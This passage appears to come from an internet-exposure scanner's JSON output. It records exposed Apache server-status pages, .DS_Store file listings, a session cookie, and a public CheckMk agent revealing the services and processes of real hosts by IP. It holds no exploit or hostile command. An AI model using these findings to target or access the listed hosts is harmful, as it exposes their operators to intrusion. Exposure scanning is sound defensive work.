(Unix)\\nServer MPM: prefork\\nServer Built: Nov 13 2019 10:07:10\\n\\nCurrent Time: Wednesday, 14-Feb-2024 13:51:06 CET\\nRestart Time: Friday, 09-Feb-2024 21:50:10 CET\\nParent Server Config. Generation: 49\\nParent Server MPM Generation: 48\\nServer uptime:  4 days 16 hours 55 seconds\\nServer load: 5.81 4.73 4.72\\nTotal accesses: 22707045 - Total Traffic: 312.8 GB\\nCPU Usage: u339.44 s127.59 cu6.78 cs1.07 - .118% CPU load\\n56.3 requests/sec - 0.8 MB/second - 14.4 kB/request\\n3 requests currently being processed, 95 idle workers\\n____W_______________________.._______W____________________W_____\\n____________________________________\\nScoreboard Key:\\n\\\"_\\\" Waiting for Connection, \\n\\\"S\\\" Starting up, \\n\\\"R\\\" Reading Request,\\n\\\"W\\\" Sending Reply, \\n\\\"K\\\" Keepalive (read), \\n\\\"D\\\" DNS Lookup,\\n\\\"C\\\" Closing connection, \\n\\\"L\\\" Logging, \\n\\\"G\\\" Gracefully finishing, \\n\\\"I\\\" Idle cleanup of worker, \\n\\\".\\\" Open slot with no current process\\n\\n\\n\\nSrvPIDAccMCPU\\nSSReqConnChildSlotClientProtocolVHostRequest\\n\\n0-48211980/696/236690_\\n5.780110.07.323291.32\\n192.168.111.104http/1.1wmaker.net:8000OPTIONS / HTTP/1.0\\n\\n1-48167860/712/236710_\\n5.59110.011.743591.17\\n192.168.141.118http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n2-48326400/659/236655_\\n6.22040.07.183333.96\\n192.168.131.66http/1.1wmaker.net:8000OPTIONS / HTTP/1.0\\n\\n3-48239870/684/236680_\\n5.99010.07.533598.92\\n192.168.111.107http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n4-48393640/635/236632W\\n4.70000.05.563143.10\\n192.168.141.68http/1.1wmaker.net:8000GET /Jeunes-Talents-du-Champagne-2019-Julien-VIOT-du-CHAMPAGNE-\\n\\n5-48432280/616/235613_\\n4.85100.010.503134.70\\n192.168.121.110http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n6-48502670/601/236596_\\n6.63000.012.293575.41\\n192.168.111.103http/1.1wmaker.tv:8002GET /_public/appli_checkv2.php HTTP/1.0\\n\\n7-48138800/352/236055_\\n2.06140.06.343219.54\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/default/51993183-39771722.jpg?v=1607020132 HTTP/\\n\\n8-48517600/597/235595_\\n5.710730.013.533302.36\\n192.168.141.67http/1.1wmaker.net:8000GET /tags/Dr+Jean-Marc+Benhaiem/ HTTP/1.0\\n\\n9-48522050/586/236584_\\n6.06130.08.003424.29\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/produit-medium-537.png?v=1401819956 HTTP/1.1\\n\\n10-48185630/329/236325_\\n2.97020.02.813300.48\\n127.0.0.1http/1.1goodbarber.com:8003GET /assets/ckeditor/skins/goodbarber/icons/cut.png?t=1E8PB2 HT\\n\\n11-48258930/308/236300_\\n2.68140.01.483218.75\\n192.168.141.68http/1.1wmaker.net:8000OPTIONS / HTTP/1.0\\n\\n12-48260490/301/236296_\\n2.36000.03.593448.89\\n192.168.111.101http/1.1wmaker.tv:8002GET /_public/appli_checkv2.php HTTP/1.0\\n\\n13-48287560/297/236293_\\n2.181100.04.633290.47\\n192.168.141.68http/1.1wmaker.net:8000GET /mymodule/57385579/?java=false&wf=340 HTTP/1.0\\n\\n14-48343400/280/236278_\\n2.17100.04.473310.16\\n192.168.111.106http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n15-48403900/254/236250_\\n2.10040.04.803385.44\\n192.168.121.111http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n16-4868220/181/236177_\\n1.50030.01.183375.80\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/imagette_16_9/682043-833125.jpg?v=1289436841 HTT\\n\\n17-48405780/229/236223_\\n2.70100.08.523822.63\\n192.168.141.124http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n18-48140920/158/236154_\\n1.150370.05.753409.21\\n192.168.141.68http/1.1wmaker.net:8000GET /xml/syndication.rss HTTP/1.0\\n\\n19-48101880/172/236167_\\n1.220770.03.303890.68\\n192.168.141.68http/1.1wmaker.net:8000GET /tags/droits%20tv%20ligue%201/ HTTP/1.0\\n\\n20-48147790/157/236153_\\n1.320680.00.453166.45\\n192.168.141.67http/1.1wmaker.net:8000GET /Come-le-Family-Office-Investment-Analyst-en-stage-F-H_a491\\n\\n21-48314110/102/236099_\\n0.97160.01.273371.32\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/grande/58832461-43336956.jpg?v=1631249644 HTTP/1\\n\\n22-48323700/99/236095_\\n0.52020.00.993602.68\\n192.168.141.67http/1.1www.wmaker.net:8000GET /404.php HTTP/1.0\\n\\n23-48507320/41/236033_\\n0.32000.00.103355.90\\n192.168.111.104http/1.1wmaker.tv:8002GET /_public/appli_checkv2.php HTTP/1.0\\n\\n24-48509090/41/236037_\\n0.17080.00.423141.90\\n192.168.141.67http/1.1wmaker.net:8000GET /xml/syndication.rss HTTP/1.0\\n\\n25-484730/20/236014_\\n0.7216740.00.063797.28\\n192.168.141.67http/1.1wmaker.net:8000GET /C-EST-QUOI-LE-CLUB-MASSIAC_a321.html?com HTTP/1.0\\n\\n26-486990/20/236018_\\n0.13050.00.373418.99\\n192.168.111.101http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n27-48351770/900/235892_\\n8.11190.018.133331.27\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/imagette/77994870-56645422.jpg?v=1706169435 HTTP\\n\\n28-48-0/0/235992.\\n8.501500.00.003243.15\\n192.168.121.114http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n29-48-0/0/235996.\\n7.512740.00.003464.33\\n192.168.121.116http/1.1wmaker.tv:8002GET /_public/appli_checkv2.php HTTP/1.0\\n\\n30-48410000/995/235987_\\n7.66030.016.633470.48\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/default/78027525-56667772.jpg?v=1706306979 HTTP/\\n\\n31-48418530/983/235980_\\n23.580220.024.883269.00\\n127.0.0.1http/1.1wmaker.net:8000GET /uploads/photos/2839.jpg HTTP/1.1\\n\\n32-48424010/999/235994_\\n8.41120.011.403171.68\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/imagette/77994905-56645448.jpg?v=1706169580 HTTP\\n\\n33-48453820/990/235984_\\n7.84000.011.033492.05\\n192.168.141.123http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n34-48461120/982/235979_\\n10.21100.021.413425.83\\n192.168.111.105http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n35-48405790/260/235256_\\n1.65010.04.623801.59\\n192.168.141.121http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n36-48524240/584/235578_\\n4.70010.06.703344.80\\n192.168.121.110http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n37-48489770/227/235223W\\n1.83000.03.203602.17\\n192.168.141.68http/1.1wmaker.net:8000GET /server-status HTTP/1.1\\n\\n38-48491600/227/235219_\\n1.72120.01.763508.09\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/imagette/77994788-56645367.jpg?v=1706169038 HTTP\\n\\n39-4875430/182/235178_\\n1.750370.04.403359.32\\n192.168.141.68http/1.1wmaker.net:8000GET /tags/plafonnement/ HTTP/1.0\\n\\n40-48166750/894/235889_\\n6.73010.018.303318.55\\n192.168.141.68http/1.1wmaker.net:8000GET /_public/player/css/font/icomoon.woff HTTP/1.0\\n\\n41-48491620/220/235218_\\n1.73040.01.083176.14\\n192.168.141.68http/1.1wmaker.net:8000GET /file/191035/ HTTP/1.1\\n\\n42-4894560/173/235173_\\n1.04140.05.253432.02\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/grande/74403753-51758921.jpg?v=1691035229 HTTP/1\\n\\n43-48103580/171/235169_\\n1.380440.03.393243.07\\n192.168.141.68http/1.1wmaker.net:8000GET /xml/syndication.rss HTTP/1.0\\n\\n44-48267110/117/235111_\\n1.10070.00.523270.14\\n127.0.0.1http/1.1wmaker.net:8000GET /images/video/1026173/sprites/small_16-9.jpg?v=1469117701 H\\n\\n45-48330960/92/235087_\\n0.66130.01.833413.98\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/default/1194581-1552966.jpg?v=1289427950 HTTP/1.\\n\\n46-48339570/91/235087_\\n0.68120.01.632954.99\\n127.0.0.1http/1.1wmaker.net:8000GET /_public/player/ads/list.json HTTP/1.0\\n\\n47-48509100/40/235035_\\n0.44040.00.722929.50\\n192.168.131.66http/1.1wmaker.net:8000OPTIONS / HTTP/1.0\\n\\n48-48455800/985/234984_\\n8.29110.011.173625.05\\n192.168.141.68http/1.1www.wmaker.net:8000GET /404.php HTTP/1.0\\n\\n49-48476190/973/234968_\\n8.94000.014.413513.61\\n192.168.111.107http/1.1goodbarber.com:8001OPTIONS / HTTP/1.0\\n\\n50-48455810/984/234979_\\n7.84040.016.443473.61\\n127.0.0.1http/1.1www.wmaker.net:8000GET /subissi/photo/gal/min/mggal-9409645.jpg?v=1543872741 HTTP/\\n\\n51-4892770/920/233918_\\n6.21030.051.563290.78\\n127.0.0.1http/1.1wmaker.net:8000GET /photo/art/large_x2_16_9/73758303-51308421.jpg?v=1687969731\\n\\n52-48118740/914/234912_\\n9.52020.09.203522.79\\n192\",\n    \"time\": \"2024-02-14T12:51:05.405664908Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"Apache\",\n        \"version\": \"\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Europe\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"FR\",\n      \"country_name\": \"France\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": 48.8582,\n        \"lon\": 2.3387\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"OVH SAS\",\n      \"asn\": 16276,\n      \"network\": \"213.251.128.0/18\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"DotDsStoreOpenPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"DotDsStoreOpenPlugin\"\n    ],\n    \"event_fingerprint\": \"5f32cf5d6962f09ca629b8b1a629b8b109d8bddc02a4693c172c9318cf5eb27d\",\n    \"ip\": \"103.31.39.64\",\n    \"host\": \"103.31.39.64\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-type\": \"text/html; charset=UTF-8\",\n        \"server\": \"nginx/1.25.3\",\n        \"set-cookie\": \"mega_antri_session=eyJpdiI6IkNuQlN1bGhBZzIwS25hT3VpaE40RWc9PSIsInZhbHVlIjoiQ3RFbTdNRUhjelZZNkdybHhKWkNlVGxaTkhRcnR1dnF0dEFRVVFWa3poV1lRWXNGL3JOMmhZZWdIeHdhOU5WQzcybFpQWjczMEpzM1l5UUUzSGhKQ2tIN0RZZ0U1Wi9YWGtBelhiam1oaE1qNVI4WGQ3WVUrakI5SVl3dVNBZEYiLCJtYWMiOiJkMmYyMjE5Y2NhMGNkZjAwM2VjNWEwYWE5NjRkZDNkMTJkNTg4NmQ0NDQ4ZTMxN2FjNTExYmQ0NTY1ODM2NjI1IiwidGFnIjoiIn0%3D; expires=Fri, 24 Nov 2023 22:07:59 GMT; Max-Age=7200; path=/; httponly; samesite=lax\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"Found 34 files trough .DS_Store spidering:\\n\\n/build\\n/favicon.ico\\n/favicons\\n/favicons/android-icon-144x144.png\\n/favicons/android-icon-192x192.png\\n/favicons/android-icon-36x36.png\\n/favicons/android-icon-48x48.png\\n/favicons/android-icon-72x72.png\\n/favicons/android-icon-96x96.png\\n/favicons/apple-icon-114x114.png\\n/favicons/apple-icon-120x120.png\\n/favicons/apple-icon-144x144.png\\n/favicons/apple-icon-152x152.png\\n/favicons/apple-icon-180x180.png\\n/favicons/apple-icon-57x57.png\\n/favicons/apple-icon-60x60.png\\n/favicons/apple-icon-72x72.png\\n/favicons/apple-icon-76x76.png\\n/favicons/apple-icon-precomposed.png\\n/favicons/apple-icon.png\\n/favicons/favicon-16x16.png\\n/favicons/favicon-32x32.png\\n/favicons/favicon-96x96.png\\n/favicons/favicon.ico\\n/favicons/icon-1024x1024.png\\n/favicons/icon-512x512.png\\n/favicons/ms-icon-144x144.png\\n/favicons/ms-icon-150x150.png\\n/favicons/ms-icon-310x310.png\\n/favicons/ms-icon-70x70.png\\n/img\\n/index.php\\n/robots.txt\\n/service-worker.js\",\n    \"time\": \"2024-02-14T12:50:54.117276688Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"nginx\",\n        \"version\": \"1.25.3\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"medium\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 34,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Asia\",\n      \"region_iso_code\": \"\",\n      \"city_name\": \"\",\n      \"country_iso_code\": \"ID\",\n      \"country_name\": \"Indonesia\",\n      \"region_name\": \"\",\n      \"location\": {\n        \"lat\": -6.1728,\n        \"lon\": 106.8272\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"PT Cloud Hosting Indonesia\",\n      \"asn\": 136052,\n      \"network\": \"103.31.38.0/23\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"ConfigJsonHttp\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"HttpPlugin\",\n      \"ConfigJsonHttp\"\n    ],\n    \"event_fingerprint\": \"b18befd9dd6536820aaf8f560aaf8f560aaf8f560aaf8f560aaf8f560aaf8f56\",\n    \"ip\": \"148.153.126.87\",\n    \"host\": \"148.153.126.87\",\n    \"reverse\": \"\",\n    \"port\": \"443\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\",\n      \"tls\",\n      \"http\"\n    ],\n    \"protocol\": \"https\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 200,\n      \"length\": 0,\n      \"header\": {\n        \"content-length\": \"85\",\n        \"server\": \"VIP/vipshop\"\n      },\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"{\\\"returnCode\\\":\\\"vipapis.miss-parameter\\\",\\\"returnMessage\\\":\\\"The service field is empty!\\\"}\",\n    \"time\": \"2024-02-14T12:50:00.41033853Z\",\n    \"ssl\": {\n      \"detected\": false,\n      \"enabled\": false,\n      \"jarm\": \"\",\n      \"cypher_suite\": \"\",\n      \"version\": \"\",\n      \"certificate\": {\n        \"cn\": \"\",\n        \"domain\": null,\n        \"fingerprint\": \"\",\n        \"key_algo\": \"\",\n        \"key_size\": 0,\n        \"issuer_name\": \"\",\n        \"not_before\": \"0001-01-01T00:00:00Z\",\n        \"not_after\": \"0001-01-01T00:00:00Z\",\n        \"valid\": false\n      }\n    },\n    \"ssh\": {\n      \"fingerprint\": \"\",\n      \"version\": 0,\n      \"banner\": \"\",\n      \"motd\": \"\"\n    },\n    \"service\": {\n      \"credentials\": {\n        \"noauth\": false,\n        \"username\": \"\",\n        \"password\": \"\",\n        \"key\": \"\",\n        \"raw\": null\n      },\n      \"software\": {\n        \"name\": \"VIP\",\n        \"version\": \"vipshop\",\n        \"os\": \"\",\n        \"modules\": null,\n        \"fingerprint\": \"\"\n      }\n    },\n    \"leak\": {\n      \"stage\": \"\",\n      \"type\": \"\",\n      \"severity\": \"\",\n      \"dataset\": {\n        \"rows\": 0,\n        \"files\": 0,\n        \"size\": 0,\n        \"collections\": 0,\n        \"infected\": false,\n        \"ransom_notes\": null\n      }\n    },\n    \"tags\": [],\n    \"geoip\": {\n      \"continent_name\": \"Asia\",\n      \"region_iso_code\": \"HK-HCW\",\n      \"city_name\": \"Central\",\n      \"country_iso_code\": \"HK\",\n      \"country_name\": \"Hong Kong\",\n      \"region_name\": \"Central and Western District\",\n      \"location\": {\n        \"lat\": 22.2908,\n        \"lon\": 114.1501\n      }\n    },\n    \"network\": {\n      \"organization_name\": \"CDSC-AS1\",\n      \"asn\": 63199,\n      \"network\": \"148.153.112.0/20\"\n    }\n  },\n  {\n    \"event_type\": \"leak\",\n    \"event_source\": \"CheckMkPlugin\",\n    \"event_pipeline\": [\n      \"l9filter\",\n      \"tcpid\",\n      \"CheckMkPlugin\"\n    ],\n    \"event_fingerprint\": \"03cb82e6f6a6b45342c4bbcb49800ffc249118679f800644dc082683464c72cc\",\n    \"ip\": \"104.171.169.158\",\n    \"host\": \"104.171.169.158\",\n    \"reverse\": \"\",\n    \"port\": \"6556\",\n    \"mac\": \"\",\n    \"vendor\": \"\",\n    \"transport\": [\n      \"tcp\"\n    ],\n    \"protocol\": \"checkmk\",\n    \"http\": {\n      \"root\": \"\",\n      \"url\": \"\",\n      \"status\": 0,\n      \"length\": 0,\n      \"header\": {},\n      \"title\": \"\",\n      \"favicon_hash\": \"\"\n    },\n    \"summary\": \"Found public CheckMk agent:\\nVersion: 2.1.0p2\\nAgentOS: linux\\nHostname: att1\\nAgentDirectory: /etc/check_mk\\nDataDirectory: /var/lib/check_mk_agent\\nSpoolDirectory: /var/lib/check_mk_agent/spool\\nPluginsDirectory: /usr/lib/check_mk_agent/plugins\\nLocalDirectory: /usr/lib/check_mk_agent/local\\nFailedPythonReason: \\nSSHClient: \\n\\nFound Systemd service list through CheckMk:\\n[list-unit-files]\\nUNIT FILE STATE \\nproc-sys-fs-binfmt_misc.automount static \\ndev-hugepages.mount static \\ndev-mqueue.mount static \\nproc-sys-fs-binfmt_misc.mount static \\nsys-fs-fuse-connections.mount static \\nsys-kernel-config.mount static \\nsys-kernel-debug.mount static \\ntmp.mount disabled\\nbrandbot.path disabled\\nsystemd-ask-password-console.path static \\nsystemd-ask-password-plymouth.path static \\nsystemd-ask-password-wall.path static \\nsession-1180.scope static \\n3proxy.service enabled \\nadd_ips.service enabled \\narp-ethers.service disabled\\natop-rotate.service static \\natop.service disabled\\natopacct.service disabled\\nauditd.service enabled \\nautovt@.service enabled \\nblk-availability.service disabled\\nbrandbot.service static \\nchrony-dnssrv@.service static \\nchrony-wait.service disabled\\nchronyd.service enabled \\nconsole-getty.service disabled\\nconsole-shell.service disabled\\ncontainer-getty@.service static \\ncontainerd.service disabled\\ncpupower.service disabled\\ncrond.service enabled \\ndbus-org.freedesktop.hostname1.service static \\ndbus-org.freedesktop.import1.service static \\ndbus-org.freedesktop.locale1.service static \\ndbus-org.freedesktop.login1.service static \\ndbus-org.freedesktop.machine1.service static \\ndbus-org.freedesktop.nm-dispatcher.service enabled \\ndbus-org.freedesktop.timedate1.service static \\ndbus.service static \\ndebug-shell.service disabled\\ndm-event.service static \\ndocker.service enabled \\ndracut-cmdline.service static \\ndracut-initqueue.service static \\ndracut-mount.service static \\ndracut-pre-mount.service static \\ndracut-pre-pivot.service static \\ndracut-pre-trigger.service static \\ndracut-pre-udev.service static \\ndracut-shutdown.service static \\nebtables.service disabled\\nemergency.service static \\nfirewalld.service masked \\nfstrim.service static \\ngetty@.service enabled \\nhalt-local.service static \\nhtcacheclean.service static \\nhttpd.service enabled \\ninitrd-cleanup.service static \\ninitrd-parse-etc.service static \\ninitrd-switch-root.service static \\ninitrd-udevadm-cleanup-db.service static \\nip6tables.service disabled\\niprdump.service disabled\\niprinit.service disabled\\niprupdate.service disabled\\niptables.service enabled \\nirqbalance.service enabled \\nkdump.service enabled \\nkmod-static-nodes.service static \\nlvm2-lvmetad.service static \\nlvm2-lvmpolld.service static \\nlvm2-monitor.service enabled \\nlvm2-pvscan@.service static \\nmessagebus.service static \\nmicrocode.service enabled \\nNetworkManager-dispatcher.service enabled \\nNetworkManager-wait-online.service enabled \\nNetworkManager.service enabled \\nplymouth-halt.service disabled\\nplymouth-kexec.service disabled\\nplymouth-poweroff.service disabled\\nplymouth-quit-wait.service disabled\\nplymouth-quit.service disabled\\nplymouth-read-write.service disabled\\nplymouth-reboot.service disabled\\nplymouth-start.service disabled\\nplymouth-switch-root.service static \\npolkit.service static \\npostfix.service enabled \\nquotaon.service static \\nrc-local.service static \\nrdisc.service disabled\\nrescue.service static \\nrhel-autorelabel-mark.service enabled \\nrhel-autorelabel.service enabled \\nrhel-configure.service enabled \\nrhel-dmesg.service enabled \\nrhel-domainname.service enabled \\nrhel-import-state.service enabled \\nrhel-loadmodules.service enabled \\nrhel-readonly.service enabled \\nrsyslog.service enabled \\nselinux-policy-migrate-local-changes@.service static \\nserial-getty@.service disabled\\nsshd-keygen.service static \\nsshd.service enabled \\nsshd@.service static \\nsystemd-ask-password-console.service static \\nsystemd-ask-password-plymouth.service static \\nsystemd-ask-password-wall.service static \\nsystemd-backlight@.service static \\nsystemd-binfmt.service static \\nsystemd-bootchart.service disabled\\nsystemd-firstboot.service static \\nsystemd-fsck-root.service static \\nsystemd-fsck@.service static \\nsystemd-halt.service static \\nsystemd-hibernate-resume@.service static \\nsystemd-hibernate.service static \\nsystemd-hostnamed.service static \\nsystemd-hwdb-update.service static \\nsystemd-hybrid-sleep.service static \\nsystemd-importd.service static \\nsystemd-initctl.service static \\nsystemd-journal-catalog-update.service static \\nsystemd-journal-flush.service static \\nsystemd-journald.service static \\nsystemd-kexec.service static \\nsystemd-localed.service static \\nsystemd-logind.service static \\nsystemd-machine-id-commit.service static \\nsystemd-machined.service static \\nsystemd-modules-load.service static \\nsystemd-nspawn@.service disabled\\nsystemd-poweroff.service static \\nsystemd-quotacheck.service static \\nsystemd-random-seed.service static \\nsystemd-readahead-collect.service enabled \\nsystemd-readahead-done.service indirect\\nsystemd-readahead-drop.service enabled \\nsystemd-readahead-replay.service enabled \\nsystemd-reboot.service static \\nsystemd-remount-fs.service static \\nsystemd-rfkill@.service static \\nsystemd-shutdownd.service static \\nsystemd-suspend.service static \\nsystemd-sysctl.service static \\nsystemd-timedated.service static \\nsystemd-tmpfiles-clean.service static \\nsystemd-tmpfiles-setup-dev.service static \\nsystemd-tmpfiles-setup.service static \\nsystemd-udev-settle.service static \\nsystemd-udev-trigger.service static \\nsystemd-udevd.service static \\nsystemd-update-done.service static \\nsystemd-update-utmp-runlevel.service static \\nsystemd-update-utmp.service static \\nsystemd-user-sessions.service static \\nsystemd-vconsole-setup.service static \\nteamd@.service static \\ntuned.service enabled \\nwpa_supplicant.service disabled\\nxinetd.service enabled \\n-.slice static \\nmachine.slice static \\nsystem.slice static \\nuser-0.slice static \\nuser.slice static \\ndbus.socket static \\ndm-event.socket enabled \\ndocker.socket disabled\\nlvm2-lvmetad.socket enabled \\nlvm2-lvmpolld.socket enabled \\nsshd.socket disabled\\nsyslog.socket static \\nsystemd-initctl.socket static \\nsystemd-journald.socket static \\nsystemd-shutdownd.socket static \\nsystemd-udevd-control.socket static \\nsystemd-udevd-kernel.socket static \\nbasic.target static \\nbluetooth.target static \\ncryptsetup-pre.target static \\ncryptsetup.target static \\nctrl-alt-del.target disabled\\ndefault.target enabled \\nemergency.target static \\nfinal.target static \\ngetty-pre.target static \\ngetty.target static \\ngraphical.target static \\nhalt.target disabled\\nhibernate.target static \\nhybrid-sleep.target static \\ninitrd-fs.target static \\ninitrd-root-fs.target static \\ninitrd-switch-root.target static \\ninitrd.target static \\niprutils.target disabled\\nkexec.target disabled\\nlocal-fs-pre.target static \\nlocal-fs.target static \\nmachines.target disabled\\nmulti-user.target enabled \\nnet_ranges_up.target static \\nnetwork-online.target static \\nnetwork-pre.target static \\nnetwork.target static \\nnss-lookup.target static \\nnss-user-lookup.target static \\npaths.target static \\npoweroff.target disabled\\nprinter.target static \\nreboot.target disabled\\nremote-cryptsetup.target disabled\\nremote-fs-pre.target static \\nremote-fs.target enabled \\nrescue.target disabled\\nrpcbind.target static \\nrunlevel0.target disabled\\nrunlevel1.target disabled\\nrunlevel2.target enabled \\nrunlevel3.target enabled \\nrunlevel4.target enabled \\nrunlevel5.target static \\nrunlevel6.target disabled\\nshutdown.target static \\nsigpwr.target static \\nsleep.target static \\nslices.target static \\nsmartcard.target static \\nsockets.target static \\nsound.target static \\nsuspend.target static \\nswap.target static \\nsysinit.target static \\nsystem-update.target static \\ntime-sync.target static \\ntimers.target static \\numount.target static \\natop-rotate.timer disabled\\nchrony-dnssrv@.timer disabled\\nfstrim.timer disabled\\nsystemd-readahead-done.timer indirect\\nsystemd-tmpfiles-clean.timer static \\n\\n247 unit files listed.\\n[status]\\n* att1\\n State: degraded\\n Jobs: 0 queued\\n Failed: 1 units\\n Since: Fri 2023-05-05 21:32:17 -05; 9 months 10 days ago\\n CGroup: /\\n |-1 /usr/lib/systemd/systemd --switched-root --system --deserialize 22\\n |-user.slice\\n | `-user-0.slice\\n | `-session-1180.scope\\n | |-6026 tmux\\n | |-6027 -bash\\n | `-8352 -bash\\n `-system.slice\\n |-proc-sys-fs-binfmt_misc.mount\\n |-run-user-0.mount\\n |-systemd-readahead-collect.service\\n |-kdump.service\\n |-docker.service\\n | `-1589 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock\\n |-network.service\\n |-rsyslog.service\\n | `-1288 /usr/sbin/rsyslogd -n\\n |-containerd.service\\n | `-1297 /usr/bin/containerd\\n |-xinetd.service\\n | |- 1286 /usr/sbin/xinetd -stayalive -pidfile /var/run/xinetd.pid\\n | |-10296 /bin/bash /usr/bin/check_mk_agent\\n | |-10328 /bin/bash /usr/bin/check_mk_agent\\n | |-10329 /bin/bash /usr/bin/check_mk_agent\\n | |-10330 cat\\n | |-10353 systemctl status --all --type service --no-pager --lines 0\\n | `-10354 tr -s \\n |-tuned.service\\n | `-1280 /usr/bin/python2 -Es /usr/sbin/tuned -l -P\\n |-sshd.service\\n | `-1274 /usr/sbin/sshd -D\\n |-httpd.service\\n | |- 592 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-HADBRXK0.cfg\\n | |- 623 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-V2BMKX5R.cfg\\n | |- 650 /usr/local/3proxy-0.9.4/bin/3proxy /config/sdjon9gm-8TL81Y9B.cfg\\n | |- 851 /usr/local/3proxy-0.9.4/bin/3proxy /config/bionikbu-040GM8VD.cfg\\n | |- 1019 /usr/local/3proxy-0.9.4/bin/3proxy /config/ajdafran-J5MH9BQW.cfg\\n | |- 1093 /usr/local/3proxy-0.9.4/bin/3proxy /config/SRY11J7N.cfg\\n | |- 1271 /usr/sbin/httpd -DFOREGROUND\\n | |- 1427 /usr/local/3proxy-0.9.4/bin/3proxy /config/mohammad-WGULZZ66.cfg\\n | |- 1497 /usr/local/3proxy-0.9.4/bin/3proxy /config/I-MBTHEEYE-37QNNQB9.cfg\\n | |- 1954 /usr/local/3proxy-0.9.4/bin/3proxy /config/funnyuk0-34E12D1P.cfg\\n | |- 1987 /usr/local/3proxy-0.9.4/bin/3proxy /config/pompompu-78E7MSY3.cfg\\n | |- 2562 /usr/local/3proxy-0.9.4/bin/3proxy /config/bogdangh-NWBOWTQW.cfg\\n | |- 2580 /usr/local/3proxy-0.9.4/bin/3proxy 